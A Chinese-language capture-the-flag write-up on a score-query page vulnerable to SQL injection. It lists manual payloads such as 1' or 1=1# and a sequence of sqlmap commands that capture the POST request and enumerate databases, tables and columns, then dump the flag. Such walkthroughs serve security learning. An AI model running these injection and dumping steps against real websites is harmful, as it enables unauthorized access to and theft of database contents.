打开网页,页面如下:
输入框中输入不同的数字可以查询不同的结果。输入1后点击submit按钮,下方出现成绩结果。
从题目上看感觉是一个SQL注入的漏洞。
思路有下:
1.自己手动拼接一些常见的SQL注入。
2.用bp抓包后用SQLMap去跑。
首先,我自己尝试了下手动拼接注入。有输入1' or '1'='1 或者 1' or 1=1# 等一些简单的,但是没有看见任何异常。于是手动注入失败。
之后我用sqlmap去爆破。
步骤如下:
步骤一:
用burpsuite去抓包。查看请求方式为post传参。如下图所示,把红框中的内容选择后保存成一个txt文件。(注:post传参最好是将请求的所有内容保存成一个txt,之后再用sqlmap去跑会比较方便。)
步骤二:
用sqlmap去爆破。
python sqlmap.py -r D:\path\postReq.txt
如下图:
允许结束后,入下图显示。
红框里显示这,参数id是可以注入的。之后的红框里显示了数据库以及网页服务器的操作系统版本信息。
只要是可以注入的,就可以继续进一步去爆破数据了。
步骤三:进一步爆破数据。
爆破数据库:
python sqlmap.py -r D:\path\postReq.txt --dbs
爆破出以下几个数据库:
其中information_schema和mysql是系统自带的数据库。
skctf和test可能是真实使用的数据库。在这里,看名称,我觉得带“ctf”几个字母的更有可能。于是选择skctf继续爆破。
爆破表名:
python sqlmap.py -r D:\path\postReq.txt -D skctf --tables
结果如下:
看表名,选择 fl4g 的表继续爆破。
爆破列名:
python sqlmap.py -r D:\path\postReq.txt -D skctf -T fl4g --columns
结果如下:
看列名,选择skctf_flag继续爆破。
爆破指定列名中的所有数据:
python sqlmap.py -r D:\path\postReq.txt -D skctf -T fl4g -C skctf_flag --dump
结果出现:
爆破成功!